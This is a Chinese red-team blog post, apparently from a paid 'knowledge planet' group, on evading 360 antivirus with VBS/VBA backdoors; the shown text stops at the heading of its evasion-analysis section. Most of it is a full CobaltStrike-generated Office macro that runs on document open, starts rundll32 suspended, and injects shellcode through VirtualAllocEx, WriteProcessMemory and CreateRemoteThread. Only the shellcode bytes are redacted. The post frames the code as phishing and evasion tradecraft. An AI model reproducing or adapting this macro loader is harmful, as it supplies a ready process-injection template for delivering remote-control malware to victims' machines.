VBS后门的免杀方式研究-轻识

本文来自“白帽子社区红队知识星球”

作者：白帽子社区红队-伟大宝宝

白帽子社区红队知识星球

一个专属于红队的高级威胁技术研究星球

星球主要面向高级持续性威胁领域技术的研究。目前已在研究或发表技术成果的主题主要涵盖持久化控制、反溯源、后门传播、免杀、钓鱼伪装技术、Windows系统服务漏洞研究、开源产品漏洞研究等领域，目前已有以下7大板块：【产品漏洞】【内网穿透】【权限维持】【系统提权】【内网渗透】【免杀技术】【技术研究】还可以与嘉宾大佬们接触，在线答疑微信群、互相探讨，不定时进行技术直播分享。

前言

本次所涉及的杀毒软件主要为 360，辅助对比使用的是火绒。我们本篇文章为了验证结果，主要针对 CobaltStrike 所生成的 vbs 宏代码来进行免杀测试，但实际上就目前杀软的查杀效果，利用 CobaltStrike 的原生宏代码来进行钓鱼攻击显然不是一种方便的选择。因为 vbs 非常的强大以及灵活，完全可以依靠其他方式实现 CobaltStrike 以及其他众多远控工具的上线操作，而且还可以拓展更多的模块。

注意：本文不会披露免杀程序，只提供测试思路，希望对各位后续探索新免杀方式提供参考依据。

免杀技术研究

先看下常规情况下的 cs vbs 后门在 360 查杀中的检测情况。

后门代码

Private Type PROCESS_INFORMATION  hProcess As Long  hThread As Long  dwProcessId As Long  dwThreadId As LongEnd TypePrivate Type STARTUPINFO  cb As Long  lpReserved As String  lpDesktop As String  lpTitle As String  dwX As Long  dwY As Long  dwXSize As Long  dwYSize As Long  dwXCountChars As Long  dwYCountChars As Long  dwFillAttribute As Long  dwFlags As Long  wShowWindow As Integer  cbReserved2 As Integer  lpReserved2 As Long  hStdInput As Long  hStdOutput As Long  hStdError As LongEnd Type#If VBA7 Then  Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread"(ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVallpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID AsLong) As LongPtr  Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByValhProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr  Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory"(ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr  Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVallpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any,lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long,lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO,lpProcessInformation As PROCESS_INFORMATION) As Long#Else  Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByValhProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVallpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID AsLong) As Long  Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess AsLong, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect AsLong) As Long  Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByValhProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByValLengthWrote As Long) As Long  Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVallpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any,lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long,lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO,lpProcessInformation As PROCESS_INFORMATION) As Long#End IfSub Auto_Open()  Dim myByte As Long, myArray As Variant, offset As Long  Dim pInfo As PROCESS_INFORMATION  Dim sInfo As STARTUPINFO  Dim sNull As String  Dim sProc As String#If VBA7 Then  Dim rwxpage As LongPtr, res As LongPtr#Else  Dim rwxpage As Long, res As Long#End IfmyArray = Array(xxx,xxxx,xxxx,xxx)  If Len(Environ("ProgramW6432")) > 0 Then  sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe" Else  sProc = Environ("windir") & "\\System32\\rundll32.exe" End If  res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)  rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)  For offset = LBound(myArray) To UBound(myArray)  myByte = myArray(offset)  res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)  Next offset      res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)      End Sub  Sub AutoOpen()    Auto_Open  End Sub  Sub Workbook_Open()    Auto_Open  End Sub

代码中的 myArray 变量值已经被我删掉了，防止有人拿我的 CS 搞事情。

免杀分析